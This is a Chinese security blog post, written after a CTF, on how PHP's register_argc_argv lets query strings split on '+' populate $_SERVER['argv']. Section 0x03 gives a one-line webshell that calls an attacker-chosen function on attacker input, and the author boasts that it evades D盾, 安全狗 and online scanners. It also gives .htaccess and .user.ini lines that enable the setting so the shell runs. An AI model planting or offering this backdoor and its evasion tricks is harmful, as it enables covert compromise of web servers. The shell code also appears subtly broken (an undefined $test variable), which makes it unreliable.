0x01 前言
前些天打了巅峰极客的 CTF,遇到一个提示为register_argc_argv
的 WEB 题,未能解决,赛后问了yzddmr6
师傅的思路,又查询了国内关于register_argc_argv
的安全研究,发现很少,因此觉得register_argc_argv
这个 PHP 配置项值得研究,本文做个记录和分享,由于个人实际经验欠缺,有遗漏或者未发现的相关知识,希望师傅们补充。
0x02 背景知识
这一节主要写了一些基础知识,大佬们可以直接忽略这一节的内容,直接看下一节的内容。
关于register_argc_argv
的配置,在官网上可以查询到以下信息
register_argc_argv | boolean | Tells PHP whether to declare the argv & argc variables (that would contain the GET information). See also command line. |
---|---|---|
register_argc_argv | TRUE | Setting this to TRUE means that scripts executed via the CLI SAPI always have access to argc (number of arguments passed to the application) and argv (array of the actual arguments).The PHP variables $argc](https://www.php.net/manual/en/reserved.variables.argc.php) and [$argv are automatically set to the appropriate values when using the CLI SAPI. These values can also be found in the $_SERVER](https://www.php.net/manual/en/reserved.variables.server.php) array, for example: [$_SERVER['argv']. |
---|---|---|
第一个表格解释是:告诉PHP是否声明了argv
和argc
变量,这些变量可以是 POST 信息、也可以是 GET 信息。
第二个表格是对第一个表格的补充说明,当register_argc_argv
设置为 TRUE 时,能够通过 CLI SAPI 持续读取argc变量(传递给应用程序的若干参数)和 argv变量(实际参数的数组),当我们使用CLI SAPI时,PHP变量$argc
和$argv
会自动填充为合适的值,并且可以在$_SERVER
数组中找到这些值,比如$_SERVER['argv']
。
仅凭文字介绍,可能难以理解,下面来简单的通过实例讲解这个配置的意义。
首先在php.ini
中搜索register_argc_argv
将其设置为On
,如下图:
值得一提的是,在 php 官方文档中提到这个配置项的默认配置是ON
:
但是在 github 的官方源代码上,默认的却是 Off
:
经过简单测试,发现老版本(测试版本为5.2.17)默认为 On,新版本(测试版本为 5.4.45、5.5.9、7.3.4)默认为 Off
因此基本上可以判断目前我们遇到的配置文件中的register_argc_argv
默认设置为Off
,官方文档可能是忘了修改
回到原话题,我们可以利用以下测试代码进行初步测试:
<?php
error_reporting(0);
$a = $_GET['a'];
echo $a;
var_dump($_SERVER[argv]);
var_dump($_SERVER);
?>
当register_argc_argv
开启时:
当register_argc_argv
关闭时:
可以看到,当register_argc_argv
开启的时候,在全局变量中,多出来了argv
和argc
。
那么这个argv
变量在整个 PHP 中的取值是个什么样的流程呢?假设存在一个全局变量$argv
,那么其是否可以取代$_SERVER['argv']
的值呢?
首先我们要知道一件事,就是$_GET
、$_POST
这些超级全局变量在 PHP 中存储是以哈希表的形式存储的,PHP 首先在 REQUEST 阶段会拷贝一份这个哈希表,拷贝后,如果我们在文件里修改 PHP 代码,是不会影响到这张拷贝出来的哈希表的。知道这个后,我们再来看一看与$argv
相关的 php 的源代码:
如上述两段代码,在 php 中argv
寻找过程是这样的:
首先判断register_argc_argv
配置是否开启,如果开启了然后判断当前模式下是否为 CLI 模式,然后在被拷贝的哈希表里寻找$_SERVER['argv']
值,如果找到就返回,如果没有找到,那么就去全局变量表里找,即通过 global 定义的$_GLOBALS['argv']
的值。由此可以看出,$_SERVER['argv']
的优先级是高于$_GLOBALS['argv']
的。
那么register_argc_argv
的用处仅仅如此吗?当然不。
注意,前文中提到了CLI(Command Line Interface,命令行接口) SAPI (Server Application Programming Interface,服务器应用程序编程接口)。SAPI是PHP与其他应用交互的接口,而CLI 是 SAPI 的一种,CLI SAPI模块主要用于PHP外壳应用的开发。CLI 更详细的内容此处就不再介绍,有兴趣的可以自行查询相关的资料。在这里我们只需要知道,CLI是PHP的命令运行模式,并且在PHP的命令行模式下,我们可以在脚本中直接访问$argv
, $argc
这两个全局变量。
如最简单的例子:
// test.php
<?php
var_dump($argc);
var_dump($argv);
我们在命令行中执行:
php test.php -s -t test 100
可以看到,$argc
的值为 5,$argv
为数组,并且大小也为 5,数组的第一个值为执行脚本的文件名称,后面的值为命令行中以空格传入顺序的值,即分别为 test.php、-s、-t、test、100。
也就是说,$argc
变量是用于记录数组的大小,而$argv
变量是用于记录输入的参数。
此时就有个问题,如果我们想传入test 100
而不想接受-s -t
类似于这种的参数该如何呢?
为了解决这个问题,php 提供了一个函数getopt()
,这个函数就是专门用来处理复杂命令行参数的内置函数,原型如下:
getopt ( string $options [, array $longopts [, int &$optind ]] ) : array
关于getopt()
的说明如下:
- options: 该字符串中的每个字符会被当做选项字符,匹配以单个连字符(-)传入到脚本的选项,比如
x
识别-x
选项,只允许a-z,A-Z,0-9
- longopts: 选项数组,每个数组元素会被作为选项字符串,匹配了以两个连字符(–)传入到脚本的选项,比如
opt
识别--opt
- optind(>=PHP7.1.0): 如果存在该参数,那么参数解析停止的索引将写入该变量
options字符串可能包含一下元素:
- 单独的字符(不接受值)
- 后面跟随冒号的字符(此选项需要值)
- 后面跟随两个冒号的字符(此选项的值可选)
选项的值是字符串后的第一个参数,值和选项之间可以没有前置空格,选项值中不可以包含空格。
说明项可能有些多,但是通过实例就很简单明了:
<?php
// getopt.php
$test = getopt('a:b:c:de');
var_dump($test);
然后执行php getopt.php -apanda -chello -b next -dooo
,返回结果如下:
可以注意到使用getopt(options)
时,有以下几个点值得一提:
options
中的参数顺序和命令行的参数顺序不用相同- 选项和值之间是否有空格都能区分值
- 此函数会返回选项/参数对, 在失败时返回 FALSE。
options
中单独的字符,返回的参数列表的key
是选项,value
是false
options
中没有指定的选项,及时命令行传入,也不会返回
该函数还有更多的用法,具体此处就不在赘述,有兴趣朋友可以见参考链接的 getopt()
官方文档。
有了这个参数,那么如果我们再想传入test 100
而不想接受-s -t
类似于这种的参数就简单了,如下代码:
// newtest.php
<?php
$argv = getopt('s:t:');
var_dump($argc);
var_dump($argv);
以上是需要知道的背景知识,知道这个下面我们就可以做很多事情了。
0x03 奇淫技巧
通过上面的背景知识应该知道,我们是可以通过 $_GET
或者$_POST
的方式来操控$_SERVER['argv'];
的值的,但是如果测试可以发现,如果直接传入值,无论多少个参数,$argc
的个数始终是 1,$argv
的值为通过 $_GET
或者$_POST
传入的值,如下:
那么如何使得我们传入的多个参数被赋予$_SERVER['argv']
数组中不同位置呢?
先看文档:
可以看到,当通过 GET 方式调用时,该变量包含 query string
,然后继续来看当通过 GET 并赋值的过程在 PHP 源码中到底是什么样的。
main/php_variables.c
文件的大概 591 行位置是php_build_argv
函数,其内容如下:
PHPAPI void php_build_argv(const char *s, zval *track_vars_array)
{
zval arr, argc, tmp;
int count = 0;
if (!(SG(request_info).argc || track_vars_array)) {
return;
}
array_init(&arr);
/* Prepare argv */
if (SG(request_info).argc) { /* are we in cli sapi? */
int i;
for (i = 0; i < SG(request_info).argc; i++) {
ZVAL_STRING(&tmp, SG(request_info).argv[i]);
if (zend_hash_next_index_insert(Z_ARRVAL(arr), &tmp) == NULL) {
zend_string_efree(Z_STR(tmp));
}
}
} else if (s && *s) {
while (1) {
const char *space = strchr(s, '+');
/* auto-type */
ZVAL_STRINGL(&tmp, s, space ? space - s : strlen(s));
count++;
if (zend_hash_next_index_insert(Z_ARRVAL(arr), &tmp) == NULL) {
zend_string_efree(Z_STR(tmp));
}
if (!space) {
break;
}
s = space + 1;
}
}
首先通过if (SG(request_info).argc)
判断是否进入了 CLI SAPI 模式,如果进入了,在CLI模式下直接把 request info 里面的 argv
值 复制到arr数组中去,继续判断query string
是否为空,如果不为空把通过+
符号分割的字符串转换成php内部的zend_string,然后再把这个zend_string复制到 arr 数组中去。
这样一来就很明白了,我们可以通过+
符号去分割字符串以此达到我们想要的目的,简单测试如下:
所有问题得以解决,可以利用这个特性来写个一句话如下:
<?php
$argv = $_SERVER['argv'];
$a = $_POST['a'];
$b = $_POST['b'];
foreach ($argv as $arg) {
$e = explode("=",$arg);
if($e[0]==$test)
$a = $e[0];
elseif($e[0]==$b)
$e[0]($a);
}
?>
经过测试,D 盾报1 级提示,安全狗免杀,测试的几个在线检测也同样免杀。
需要提一下的是这个一句话的要求就是register_argc_argv
配置开启,但是有个问题,就是如果我们在php.ini
文件中开启register_argc_argv
,可能引发各种稀奇古怪的问题,有师傅也说了"register开了 漏洞*100",因此我们不能直接在 PHP 的配置文件中开启该配置项。那这个 shell 岂不是很鸡肋?
并非如此。请注意register_argc_argv
这个配置的可被设定范围:
为 PHP_INI_PERDIR
,我们知道PHP_INI_* 模式的定义如下表:
模式 | 含义 |
---|---|
PHP_INI_USER | 可在用户脚本(例如 ini_set())或 Windows 注册表(自 PHP 5.3 起)以及 .user.ini 中设定 |
PHP_INI_PERDIR | 可在 php.ini,.htaccess 或 httpd.conf 中设定 |
PHP_INI_SYSTEM | 可在 php.ini 或 httpd.conf 中设定 |
PHP_INI_ALL | 可在任何地方设定 |
因此,我们可以根据容器是 Apache 还是 Nginx 来用.htaccess
或者.user.ini
来修改该配置信息。
如果是 Apache,.htaccess
配置文件内容如下:
php_value register_argc_argv On
如果是 Nginx,.user.ini
配置文件内容如下:
register_argc_argv=On
最终效果如下:
0x04 总结
细心的朋友可以发现其实在背景知识中我提到了 getopt()
函数,但是后面的技巧中并未提及这个函数的用法。其实这里同样有个思路可以利用的——把 web 视为命令行模式,然后模仿getopt()
函数,具体的本文就不在这里写了,有兴趣的朋友可以自己研究一下。以上只是一个简单的经验总结及知识发散,希望知道更多技巧的朋友可以分享一下你们的相关 tips。
0x05 参考
https://www.php.net/manual/zh/features.commandline.php
https://www.php.net/manual/en/features.commandline.differences.php
https://www.php.net/manual/zh/reserved.variables.argv.php
https://www.php.net/reserved.variables.server
https://www.php.net/manual/zh/function.ini-set.php
https://www.php.net/manual/zh/ini.list.php
https://www.php.net/manual/zh/configuration.changes.modes.php
https://www.php.net/manual/zh/ini.core.php#ini.register-argc-argv
使用微信扫描二维码完成支付